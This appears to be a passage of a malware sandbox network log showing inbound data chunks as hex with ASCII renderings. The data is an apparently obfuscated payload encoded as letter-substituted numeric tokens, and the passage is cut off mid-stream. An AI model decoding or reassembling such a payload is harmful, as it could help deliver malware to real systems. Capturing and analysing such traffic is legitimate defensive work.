2021-10-29 18:10:39 UTC	30	IN	Data Raw: 71 70 20 71 44 4a 20 71 70 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4a 44 20 58 58 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 71 71 20 70 71 20 44 44 20 6d 58 20 57 4f 20 44 4f 20 58 45 20 71 71 58 20 4d 70 20 45 6d 20 71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 58 45 20 58 6d 20 71 71 6d 20 71 4a 45 20 45 71 20 71 71 4a 20 57 4f 20 6d 70 20 4a 20 57 70 20 58 6d 20 71 71 71 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 70 70 20 6d 58 20 57 4f 20 70 4d 20 58 44 20 4d 6d 20 71 71 70 20 71 71 71 20 4a 57 6d 20 70 71 20 57 4a 20 70 58 20 44 4f 20 71 70 58 20 4d 58 20 71 71 4d 20 71 4f 57 20 71 71 57 20 4a 44 20 45 6d 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 4f 20 71 45 71 20 71 4f 6d 20 58 44 Data Ascii: qp qDJ qpW qOM qqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX JD XX Xm qqm qJE qqq pq DD mX WO DO XE qqX Mp Em qqJ WO Wm Mp XE Xm qqm qJE Eq qqJ WO mp J Wp Xm qqq qqE qOM qqJ pp mX WO pM XD Mm qqp qqq JWm pq WJ pX DO qpX MX qqM qOW qqW JD Em WO Wm Mm qJO qEq qOm XD
2021-10-29 18:10:39 UTC	32	IN	Data Raw: 4a 70 4a 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 45 44 20 58 6d 20 71 71 6d 20 71 4a 45 20 45 57 20 71 71 4d 20 70 45 20 71 4f 6d 20 57 45 20 6d 4d 20 58 44 20 4a 4d 20 4a 6d 71 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 20 4a 4a 45 20 6d 58 20 57 4d 20 4a 6d 57 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 6d 20 4a 20 6d 58 20 70 4f 20 70 71 20 71 71 6d 20 71 71 45 20 71 4f 70 20 58 58 20 70 4f 20 6d 58 20 57 4f 20 6d 58 20 71 4a 44 20 44 6d 20 4d 70 20 71 70 20 71 71 4a 20 57 4f 20 57 58 20 6d 58 20 58 4d 20 57 70 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 4f 20 57 4f 20 6d 58 20 6d 71 20 44 20 58 44 20 71 71 6d 20 4d 6d 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 6d 20 57 4f 20 57 6d 20 44 4d 20 71 71 4a 20 4d 70 20 58 71 20 71 71 4a 20 57 4f 20 57 58 20 70 4f Data Ascii: JpJ qqJ WO WX Mp qED Xm qqm qJE EW qqM pE qOm WE mM XD JM Jmq qOM qqJ WD J JJE mX WM JmW qqE qOM qJJ Jm J mX pO pq qqm qqE qOp XX pO mX WO mX qJD Dm Mp qp qqJ WO WX mX XM Wp qqm qqE qOp MO WO mX mq D XD qqm Mm qOM qqJ WO Wm WO Wm DM qqJ Mp Xq qqJ WO WX pO
2021-10-29 18:10:39 UTC	33	IN	Data Raw: 71 44 20 71 71 58 20 44 6d 20 6d 58 20 6d 58 20 70 45 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 4f 20 71 4f 4d 20 71 71 4a 20 70 57 20 57 4f 20 45 70 20 57 4a 20 58 6d 20 71 71 6d 20 71 71 70 20 71 71 4f 20 70 71 20 57 6d 20 6d 4d 20 57 4f 20 6d 58 20 44 45 20 71 4a 4f 20 71 45 71 20 71 4f 6d 20 58 44 20 70 44 20 57 58 20 4a 70 44 20 57 6d 20 58 4a 20 58 58 20 71 71 45 20 71 4f 58 20 4d 44 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 71 20 71 4a 57 20 71 71 4a 20 57 57 20 44 70 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 71 71 20 71 71 4a 20 4a 4f 20 6d 58 20 57 4f 20 57 6d 20 45 4d 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 71 71 57 20 44 57 20 4d 71 20 57 71 20 57 6d 20 58 4a 20 70 57 20 71 71 58 20 71 71 71 20 71 71 20 6d 58 20 Data Ascii: qD qqX Dm mX mX pE Wm Xm qqm qqO qOM qqJ pW WO Ep WJ Xm qqm qqp qqO pq Wm mM WO mX DE qJO qEq qOm XD pD WX JpD Wm XJ XX qqE qOX MD WO mX WO Wm Xm qqm qOq qJW qqJ WW Dp WO Wm XW qOW DM qqq qqJ JO mX WO Wm EM qqm qqE qJm qqW DW Mq Wq Wm XJ pW qqX qqq qq mX
2021-10-29 18:10:39 UTC	34	IN	Data Raw: 20 71 4a 45 20 71 45 4d 20 71 71 45 20 4a 4f 20 70 58 20 57 44 20 4a 70 4a 20 58 6d 20 71 71 44 20 4d 57 20 71 4f 4d 20 71 71 4a 20 57 71 20 70 4a 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 4a 45 20 44 71 20 6d 58 20 57 57 20 57 45 20 58 6d 20 71 71 6d 20 71 71 44 20 71 71 58 20 44 6d 20 6d 58 20 6d 58 20 70 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 57 20 71 4f 4d 20 71 71 4a 20 70 57 20 57 4f 20 45 70 20 57 4a 20 58 6d 20 71 71 6d 20 71 71 70 20 71 71 4f 20 70 71 20 44 70 20 6d 4d 20 57 4f 20 6d 58 20 4d 6d 20 71 45 4a 20 71 71 4a 20 45 57 20 71 4f 4a 20 57 44 20 4a 70 58 20 57 4f 20 6d 58 20 71 4a 44 20 71 71 6d 20 71 71 45 20 71 4f 58 20 4d 44 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 4a 20 4d 58 20 71 Data Ascii: qJE qEM qqE JO pX WD JpJ Xm qqD MW qOM qqJ Wq pJ WO Wm Xm qqm qqE qOM qJE Dq mX WW WE Xm qqm qqD qqX Dm mX mX pD Wm Xm qqm qOW qOM qqJ pW WO Ep WJ Xm qqm qqp qqO pq Dp mM WO mX Mm qEJ qqJ EW qOJ WD JpX WO mX qJD qqm qqE qOX MD WO mX WO Wm Xm qqm qJJ MX q
2021-10-29 18:10:39 UTC	36	IN	Data Raw: 4d 20 71 71 4a 20 71 6d 20 71 71 71 20 71 71 4a 20 57 4f 20 57 4a 20 6d 4d 20 58 4d 20 4d 6d 20 71 71 57 20 71 71 45 20 71 4f 45 20 71 4a 4a 20 4a 70 44 20 57 70 20 4a 4f 20 70 4a 20 4d 6d 20 71 45 4a 20 71 71 45 20 71 4f 45 20 4d 4f 20 57 4f 20 6d 58 20 57 71 20 70 58 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 44 70 20 44 71 20 57 6d 20 58 71 20 71 4a 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 6d 71 20 4f 20 6d 58 20 57 6d 20 44 44 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 4f 58 20 57 4f 20 6d 58 20 70 57 20 57 4a 20 6d 45 20 71 71 4a 20 71 71 45 20 71 4f 4d 20 71 71 44 20 6d 4d 20 4d 57 20 70 58 20 57 57 20 58 6d 20 71 71 44 20 71 4a 45 20 71 45 4d 20 71 71 45 20 4a 4f 20 70 58 20 57 44 20 4a 70 4a 20 58 6d 20 71 71 44 20 4d 57 Data Ascii: M qqJ qm qqq qqJ WO WJ mM XM Mm qqW qqE qOE qJJ JpD Wp JO pJ Mm qEJ qqE qOE MO WO mX Wq pX Xm qqm qqE qOM qqJ WO Dp Dq Wm Xq qJW qqE qOM qqp mq O mX Wm DD qqm qqE qOM qOX WO mX pW WJ mE qqJ qqE qOM qqD mM MW pX WW Xm qqD qJE qEM qqE JO pX WD JpJ Xm qqD MW
2021-10-29 18:10:39 UTC	37	IN	Data Raw: 6d 58 20 57 4f 20 57 6d 20 44 4d 20 4d 4d 20 71 71 45 20 71 4f 6d 20 71 4a 45 20 57 4f 20 6d 58 20 57 71 20 71 4a 20 58 44 20 71 4f 71 20 4a 44 20 70 44 20 71 71 4a 20 57 4f 20 57 6d 20 6d 58 20 70 4f 20 71 4d 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 4f 20 57 4f 20 70 57 20 4a 20 57 4a 20 58 6d 20 57 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 45 20 4d 6d 20 6d 4d 20 71 71 71 20 71 71 20 6d 58 20 6d 58 20 57 4f 20 57 4f 20 71 4a 4f 20 45 58 20 71 71 4d 20 4a 4a 20 71 71 6d 20 57 4f 20 6d 58 20 57 6d 20 44 45 20 4a 71 57 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 70 71 20 57 71 20 4a 4f 20 4a 4d 20 58 71 20 4a 4d 20 4a 70 45 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 4f 20 45 70 20 57 4a 20 58 6d 20 71 71 6d 20 71 Data Ascii: mX WO Wm DM MM qqE qOm qJE WO mX Wq qJ XD qOq JD pD qqJ WO Wm mX pO qMW qqm qqE qOp MO WO pW J WJ Xm WX qqE qOM qqJ WO mX WO Wm XE Mm mM qqq qq mX mX WO WO qJO EX qqM JJ qqm WO mX Wm DE JqW qqm qqE qOX XW pq Wq JO JM Xq JM JpE qOM qqJ WD WO Ep WJ Xm qqm q
2021-10-29 18:10:39 UTC	38	IN	Data Raw: 6d 20 58 4a 20 4d 6d 20 71 57 44 20 71 4f 4f 20 4d 4d 20 57 57 20 70 6d 20 57 57 20 44 4d 20 4a 71 44 20 71 71 57 20 71 71 45 20 71 4f 45 20 58 58 20 71 6d 70 20 6d 4d 20 57 4f 20 6d 58 20 45 4f 20 71 71 4d 20 4d 45 20 44 4d 20 71 58 70 20 57 71 20 6d 58 20 57 4a 20 44 4d 20 71 4d 6d 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 4d 20 57 4a 20 70 6d 20 57 57 20 44 58 20 71 58 4a 20 71 71 45 20 71 71 45 20 4a 4d 20 58 58 20 71 6d 71 20 6d 4d 20 57 4f 20 6d 58 20 71 4a 45 20 71 4f 44 20 71 71 57 20 4a 20 44 6d 20 57 4f 20 6d 58 20 57 4a 20 4a 45 20 58 4a 20 71 20 4a 71 70 20 71 4f 4d 20 71 71 4a 20 57 44 20 45 6d 20 71 58 20 4a 4a 4a 20 58 45 20 71 71 6d 20 71 71 45 20 44 4d 20 4a 70 4d 20 57 4f 20 6d 58 20 57 44 20 6d 58 20 44 4d 20 71 71 4d 20 71 4f 70 20 71 Data Ascii: m XJ Mm qWD qOO MM WW pm WW DM JqD qqW qqE qOE XX qmp mM WO mX EO qqM ME DM qXp Wq mX WJ DM qMm qqm qqE qOp MM WJ pm WW DX qXJ qqE qqE JM XX qmq mM WO mX qJE qOD qqW J Dm WO mX WJ JE XJ q Jqp qOM qqJ WD Em qX JJJ XE qqm qqE DM JpM WO mX WD mX DM qqM qOp q
2021-10-29 18:10:39 UTC	40	IN	Data Raw: 4a 20 57 4a 20 71 6d 44 20 4a 70 20 6d 45 20 44 6d 20 71 6d 4f 20 71 71 57 20 57 6d 20 71 71 4a 20 57 4f 20 57 6d 20 44 57 20 71 58 70 20 58 6d 20 71 71 6d 20 71 71 57 20 4a 4f 45 20 58 57 20 6d 4f 20 70 44 20 4a 4f 6d 20 6d 58 20 58 20 71 71 6d 20 71 71 45 20 71 4f 45 20 70 20 71 45 4d 20 6d 58 20 57 4f 20 6d 58 20 4a 6d 44 20 58 45 20 71 71 4f 20 71 4a 71 20 71 6d 4a 20 57 4a 20 71 4f 4d 20 57 4f 20 57 6d 20 58 4a 20 71 20 4a 6d 6d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 71 6d 44 20 4a 70 20 6d 4a 20 44 6d 20 71 6d 4f 20 71 71 57 20 57 4f 20 71 71 4a 20 57 4f 20 57 6d 20 44 57 20 71 58 70 20 58 6d 20 71 71 6d 20 71 71 57 20 4a 4f 45 20 58 57 20 6d 45 20 70 44 20 4a 4f 6d 20 6d 58 20 57 4a 20 71 71 6d 20 71 71 45 20 71 4f 45 20 70 20 71 45 4d 20 6d 58 20 57 Data Ascii: J WJ qmD Jp mE Dm qmO qqW Wm qqJ WO Wm DW qXp Xm qqm qqW JOE XW mO pD JOm mX X qqm qqE qOE p qEM mX WO mX JmD XE qqO qJq qmJ WJ qOM WO Wm XJ q Jmm qOM qqJ WJ qmD Jp mJ Dm qmO qqW WO qqJ WO Wm DW qXp Xm qqm qqW JOE XW mE pD JOm mX WJ qqm qqE qOE p qEM mX W
2021-10-29 18:10:39 UTC	41	IN	Data Raw: 4f 20 6d 58 20 71 71 70 20 71 20 4a 71 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 4d 57 20 4d 70 20 57 57 20 58 6d 20 71 71 44 20 58 4f 20 70 4f 20 71 4f 57 20 57 4f 20 6d 58 20 57 44 20 58 4d 20 70 57 20 71 71 57 20 71 71 45 20 71 4f 45 20 58 57 20 44 57 20 44 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 71 4a 20 71 4f 58 20 71 71 4a 20 57 4a 20 4a 71 20 44 57 20 71 57 58 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 20 4a 57 71 20 57 71 20 6d 58 20 57 4a 20 71 4d 20 70 4d 20 4a 71 58 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4d 70 20 45 4d 20 57 71 20 57 6d 20 58 4a 20 58 45 20 44 20 71 4d 44 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 45 45 20 58 57 20 71 71 6d 20 71 71 57 20 45 4a 20 70 20 71 57 6d 20 6d 58 20 57 4f 20 44 4f 20 57 4d 20 4a 57 71 20 71 71 44 20 71 4f 4d 20 Data Ascii: O mX qqp q JqO qOM qqJ WD MW Mp WW Xm qqD XO pO qOW WO mX WD XM pW qqW qqE qOE XW DW D WO Wm Mm JM qJ qOX qqJ WJ Jq DW qWX Xm qqm qJE J JWq Wq mX WJ qM pM JqX qqE qOM qJJ Mp EM Wq Wm XJ XE D qMD qqJ WO WX Mp EE XW qqm qqW EJ p qWm mX WO DO WM JWq qqD qOM
2021-10-29 18:10:39 UTC	42	IN	Data Raw: 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 71 57 20 6d 4d 20 57 4f 20 57 6d 20 4a 4a 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 45 20 57 4f 20 6d 58 20 57 4f 20 57 45 20 58 6d 20 71 71 6d 20 71 71 44 20 71 71 58 20 44 6d 20 6d 4d 20 6d 58 20 58 4f 20 57 6d 20 58 6d 20 71 71 6d 20 58 57 20 71 4f 4d 20 71 71 4a 20 70 57 20 6d 45 20 6d 44 20 70 4f 20 44 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4a 20 71 4a 4a 20 57 44 20 57 4f 20 45 4f 20 71 4a 6d 20 45 57 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 57 44 20 57 6d 20 4a 44 20 71 57 6d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 57 20 45 4f 20 57 4a 20 44 45 20 58 44 20 57 6d 20 58 6d 20 71 4a 4f 20 4d 70 20 71 4d 4a 20 71 71 4a 20 57 4f 20 57 58 20 4a 44 20 71 71 44 20 58 6d 20 71 71 6d 20 71 4a 45 Data Ascii: Xm qqm qqE qOM qqJ qqW mM WO Wm JJ qqW qqE qOM qqE WO mX WO WE Xm qqm qqD qqX Dm mM mX XO Wm Xm qqm XW qOM qqJ pW mE mD pO D qqm qqE qOp J qJJ WD WO EO qJm EW qqE qOM qJJ WD Wm JD qWm Xm qqm qJE DW EO WJ DE XD Wm Xm qJO Mp qMJ qqJ WO WX JD qqD Xm qqm qJE
2021-10-29 18:10:39 UTC	44	IN	Data Raw: 71 71 45 20 71 4f 4d 20 71 71 6d 20 4a 44 20 71 70 44 20 57 4f 20 57 6d 20 4d 6d 20 4d 4f 20 4a 4f 6d 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 6d 20 71 70 44 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 6d 57 20 71 4f 44 20 71 71 70 20 57 4f 20 57 4a 20 45 44 20 6d 4d 20 58 57 20 71 71 6d 20 71 71 70 20 4a 4a 20 4a 4f 70 20 57 4f 20 6d 58 20 57 44 20 45 4a 20 58 70 20 71 71 57 20 71 71 45 20 71 4f 57 20 71 6d 20 57 4a 20 6d 4d 20 57 4f 20 57 4f 20 71 4a 71 20 44 44 20 4d 4d 20 70 71 20 4a 4a 20 57 58 20 6d 58 20 44 44 20 70 6d 20 71 70 4a 20 71 4a 44 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 4a 44 20 71 70 44 20 57 4f 20 57 6d 20 4d 6d 20 71 4f 71 20 4a 6d 58 20 4a 4a 6d 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 70 4a 20 44 44 20 71 4f 4a 20 4d 70 20 4a 4f 4d 20 71 71 Data Ascii: qqE qOM qqm JD qpD WO Wm Mm MO JOm qOM qqJ WD Jm qpD Wm Xm qJO JmW qOD qqp WO WJ ED mM XW qqm qqp JJ JOp WO mX WD EJ Xp qqW qqE qOW qm WJ mM WO WO qJq DD MM pq JJ WX mX DD pm qpJ qJD qqE qOM qqm JD qpD WO Wm Mm qOq JmX JJm qqJ WO mM Jp pJ DD qOJ Mp JOM qq
2021-10-29 18:10:39 UTC	45	IN	Data Raw: 58 20 6d 58 20 71 71 44 20 57 6d 20 45 4a 20 71 44 20 71 71 45 20 4d 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 45 44 20 58 44 20 4d 4f 20 71 45 71 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4d 57 20 4d 20 57 6d 20 58 6d 20 71 71 44 20 58 4f 20 71 71 45 20 44 45 20 57 58 20 57 4f 20 6d 4d 20 57 4f 20 71 4a 6d 20 6d 70 20 71 71 45 20 71 4f 4d 20 71 71 58 20 6d 70 20 70 20 57 4a 20 44 4d 20 4a 57 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 4f 20 4a 6d 20 71 58 4a 20 6d 58 20 70 4f 20 71 58 70 20 71 71 6d 20 71 71 45 20 71 4f 45 20 70 71 20 71 6d 20 6d 58 20 57 4f 20 6d 58 20 71 71 70 20 71 4f 44 20 45 4f 20 71 4f 71 20 71 71 6d 20 6d 4d 20 57 4a 20 4a 44 20 71 4f 58 20 58 6d 20 71 71 6d 20 71 71 57 20 71 71 44 20 44 45 20 57 4a 20 44 45 20 71 57 70 20 57 6d Data Ascii: X mX qqD Wm EJ qD qqE MM qqJ WO mX WO qED XD MO qEq qOM qqJ WJ MW M Wm Xm qqD XO qqE DE WX WO mM WO qJm mp qqE qOM qqX mp p WJ DM JWW qqm qqE qOp qO Jm qXJ mX pO qXp qqm qqE qOE pq qm mX WO mX qqp qOD EO qOq qqm mM WJ JD qOX Xm qqm qqW qqD DE WJ DE qWp Wm
2021-10-29 18:10:39 UTC	46	IN	Data Raw: 57 20 71 71 45 20 71 4f 45 20 58 58 20 71 58 4d 20 6d 58 20 57 4f 20 6d 58 20 57 4d 20 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 70 20 6d 4f 20 71 20 44 4a 20 58 44 20 71 71 70 20 71 71 70 20 44 4d 20 71 45 20 57 4f 20 6d 58 20 57 4a 20 6d 45 20 71 4f 70 20 71 71 44 20 44 20 71 4d 58 20 71 71 4a 20 57 4f 20 57 58 20 45 4a 20 4a 58 20 4a 6d 4a 20 71 71 70 20 4a 44 20 57 44 20 71 71 70 20 57 4f 20 57 6d 20 70 4f 20 4a 4a 20 58 44 20 4d 4f 20 71 4a 6d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4d 57 20 71 71 20 57 6d 20 58 6d 20 71 71 44 20 58 4f 20 71 71 45 20 44 45 20 57 58 20 57 4f 20 6d 4d 20 57 4f 20 71 4a 6d 20 71 44 20 71 71 45 20 71 4f 4d 20 71 71 58 20 6d 70 20 70 20 57 4a 20 44 4d 20 4a 57 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 4f 20 4a 6d 20 Data Ascii: W qqE qOE XX qXM mX WO mX WM mX qqE qOM qqX Jp mO q DJ XD qqp qqp DM qE WO mX WJ mE qOp qqD D qMX qqJ WO WX EJ JX JmJ qqp JD WD qqp WO Wm pO JJ XD MO qJm qOM qqJ WJ MW qq Wm Xm qqD XO qqE DE WX WO mM WO qJm qD qqE qOM qqX mp p WJ DM JWW qqm qqE qOp qO Jm
2021-10-29 18:10:39 UTC	48	IN	Data Raw: 20 71 4f 4d 20 71 71 58 20 57 44 20 6d 45 20 44 71 20 71 58 45 20 4d 4f 20 71 71 6d 20 71 71 45 20 71 71 71 20 58 57 20 70 44 20 70 44 20 4a 4f 6d 20 6d 58 20 70 58 20 71 71 6d 20 71 71 45 20 71 4f 45 20 70 20 71 45 4d 20 6d 58 20 57 4f 20 6d 58 20 4a 6d 44 20 58 45 20 4d 58 20 71 4a 71 20 71 6d 4a 20 57 4a 20 44 45 20 57 4f 20 57 6d 20 58 4a 20 71 20 4a 6d 6d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 71 6d 44 20 4a 70 20 6d 44 20 44 6d 20 71 6d 4f 20 71 71 57 20 4a 57 20 71 71 4a 20 57 4f 20 57 6d 20 44 57 20 71 58 70 20 58 6d 20 71 71 6d 20 71 71 57 20 4a 4f 45 20 58 57 20 6d 70 20 70 44 20 4a 4f 6d 20 6d 58 20 70 70 20 71 71 6d 20 71 71 45 20 71 4f 45 20 70 20 71 45 4d 20 6d 58 20 57 4f 20 6d 58 20 4a 6d 44 20 58 45 20 71 71 71 20 71 4a 71 20 71 6d 4a 20 57 Data Ascii: qOM qqX WD mE Dq qXE MO qqm qqE qqq XW pD pD JOm mX pX qqm qqE qOE p qEM mX WO mX JmD XE MX qJq qmJ WJ DE WO Wm XJ q Jmm qOM qqJ WJ qmD Jp mD Dm qmO qqW JW qqJ WO Wm DW qXp Xm qqm qqW JOE XW mp pD JOm mX pp qqm qqE qOE p qEM mX WO mX JmD XE qqq qJq qmJ W
2021-10-29 18:10:39 UTC	49	IN	Data Raw: 20 57 70 20 57 4f 20 57 4f 20 6d 58 20 70 4d 20 4a 71 57 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 70 4a 20 57 4f 20 57 6d 20 71 4a 45 20 4d 4f 20 71 4f 4f 20 71 4f 4d 20 71 71 4a 20 4a 57 20 4a 6d 20 71 58 44 20 57 6d 20 58 6d 20 71 71 44 20 4d 57 20 45 57 20 71 71 57 20 57 6d 20 57 70 20 4a 44 20 4d 57 20 58 6d 20 71 71 6d 20 71 71 57 20 45 71 20 71 71 4a 20 57 4f 20 6d 70 20 4a 20 57 4f 20 58 6d 20 58 45 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 6d 57 20 6d 58 20 57 4f 20 70 4d 20 58 4f 20 71 20 4a 6d 4d 20 71 4f 58 20 71 71 4a 20 57 4a 20 4a 71 20 44 57 20 71 6d 57 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 20 70 71 20 57 71 20 6d 58 20 57 4a 20 71 4d 20 70 4d 20 71 4f 45 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4d 70 20 45 71 20 57 71 20 57 6d 20 58 4a Data Ascii: Wp WO WO mX pM JqW qqE qOM qJJ JD pJ WO Wm qJE MO qOO qOM qqJ JW Jm qXD Wm Xm qqD MW EW qqW Wm Wp JD MW Xm qqm qqW Eq qqJ WO mp J WO Xm XE qqD qOM qqJ mW mX WO pM XO q JmM qOX qqJ WJ Jq DW qmW Xm qqm qJE J pq Wq mX WJ qM pM qOE qqE qOM qJJ Mp Eq Wq Wm XJ
2021-10-29 18:10:39 UTC	50	IN	Data Raw: 57 6d 20 45 70 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 6d 58 20 57 4f 20 71 58 20 58 6d 20 71 71 6d 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 6d 20 71 4f 58 20 71 71 4a 20 57 4f 20 6d 44 20 57 71 20 57 6d 20 58 6d 20 71 71 4d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 44 71 20 6d 58 20 57 4f 20 57 57 20 45 4d 20 44 44 20 71 71 58 20 71 4f 4d 20 71 58 20 57 4f 20 6d 58 20 57 4f 20 4a 4a 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 71 6d 20 71 4f 58 20 4a 44 20 4d 58 20 57 4f 20 57 6d 20 4d 6d 20 4f 20 44 71 20 71 4f 71 20 71 71 4a 20 44 44 20 4a 6d 20 71 71 20 57 6d 20 58 6d 20 71 4a 4f 20 71 4a 45 20 71 4f 45 20 58 58 20 71 57 58 20 6d 58 20 57 4f 20 44 4f 20 71 4a 4f 20 44 58 20 71 71 Data Ascii: Wm Ep qqW qqE qOM qqp WO mX WO qX Xm qqm qqD qOM qqJ WO mX WO Wm Xm qqm qOm qOX qqJ WO mD Wq Wm Xm qqM qqE qOM qqJ Dq mX WO WW EM DD qqX qOM qX WO mX WO JJ Xm qqm qOO qqm qOX JD MX WO Wm Mm O Dq qOq qqJ DD Jm qq Wm Xm qJO qJE qOE XX qWX mX WO DO qJO DX qq
2021-10-29 18:10:39 UTC	52	IN	Data Raw: 20 57 4f 20 57 6d 20 58 57 20 4d 4f 20 4a 4f 57 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 4a 6d 20 44 70 20 57 6d 20 58 6d 20 71 71 4a 20 4d 70 20 4a 71 70 20 71 71 4a 20 57 4f 20 57 58 20 4a 44 20 71 6d 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 4a 4f 4a 20 57 4f 20 6d 58 20 57 44 20 71 58 4a 20 4d 6d 20 71 71 57 20 71 71 45 20 71 4f 57 20 71 6d 20 57 44 20 6d 4d 20 57 4f 20 57 4f 20 6d 45 20 4a 4f 71 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 45 44 20 57 58 20 57 71 20 57 6d 20 58 4f 20 71 4a 20 71 4a 6d 20 71 4f 58 20 71 71 4a 20 57 6d 20 4a 4d 20 4a 20 70 4a 20 70 58 20 4a 4f 20 71 4a 57 20 71 4f 4d 20 4f 20 70 58 20 4a 4a 6d 20 44 70 20 57 6d 20 58 6d 20 71 71 4a 20 4d 70 20 4a 71 70 20 71 71 4a 20 57 4f 20 57 58 20 70 45 20 71 58 45 20 4a 71 45 20 71 Data Ascii: WO Wm XW MO JOW qOM qqJ WD JJm Dp Wm Xm qqJ Mp Jqp qqJ WO WX JD qmp Xm qqm qJE DM JOJ WO mX WD qXJ Mm qqW qqE qOW qm WD mM WO WO mE JOq qqE qOM qJJ ED WX Wq Wm XO qJ qJm qOX qqJ Wm JM J pJ pX JO qJW qOM O pX JJm Dp Wm Xm qqJ Mp Jqp qqJ WO WX pE qXE JqE q
2021-10-29 18:10:39 UTC	53	IN	Data Raw: 6d 20 71 4a 70 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 71 44 20 57 4f 20 71 4a 6d 20 4a 4f 44 20 71 71 44 20 71 4f 4d 20 71 71 58 20 4a 44 20 4a 70 58 20 57 4f 20 57 6d 20 58 4a 20 4a 4d 20 71 6d 20 71 4f 58 20 71 71 4a 20 57 4a 20 4a 44 20 71 71 44 20 57 4f 20 71 4a 6d 20 4a 4f 44 20 71 71 44 20 71 4f 4d 20 71 71 58 20 4a 44 20 4a 71 71 20 57 4f 20 57 6d 20 58 4a 20 4a 4d 20 6d 20 71 4f 58 20 71 71 4a 20 57 4a 20 4a 44 20 44 58 20 57 4f 20 71 4a 6d 20 4a 4f 44 20 71 71 44 20 71 4f 4d 20 71 71 58 20 4a 44 20 4a 4f 4d 20 57 4f 20 57 6d 20 58 4a 20 58 45 20 58 58 20 71 4f 57 20 58 44 20 70 58 20 4a 45 20 57 57 20 70 4f 20 45 4f 20 71 71 6d 20 71 71 45 20 45 4f 20 70 71 20 4d 57 20 6d 4d 20 57 4f 20 6d 58 20 71 4a 44 20 57 4a 20 71 71 70 20 44 4d 20 Data Ascii: m qJp qOM qqJ WO mX qqD WO qJm JOD qqD qOM qqX JD JpX WO Wm XJ JM qm qOX qqJ WJ JD qqD WO qJm JOD qqD qOM qqX JD Jqq WO Wm XJ JM m qOX qqJ WJ JD DX WO qJm JOD qqD qOM qqX JD JOM WO Wm XJ XE XX qOW XD pX JE WW pO EO qqm qqE EO pq MW mM WO mX qJD WJ qqp DM
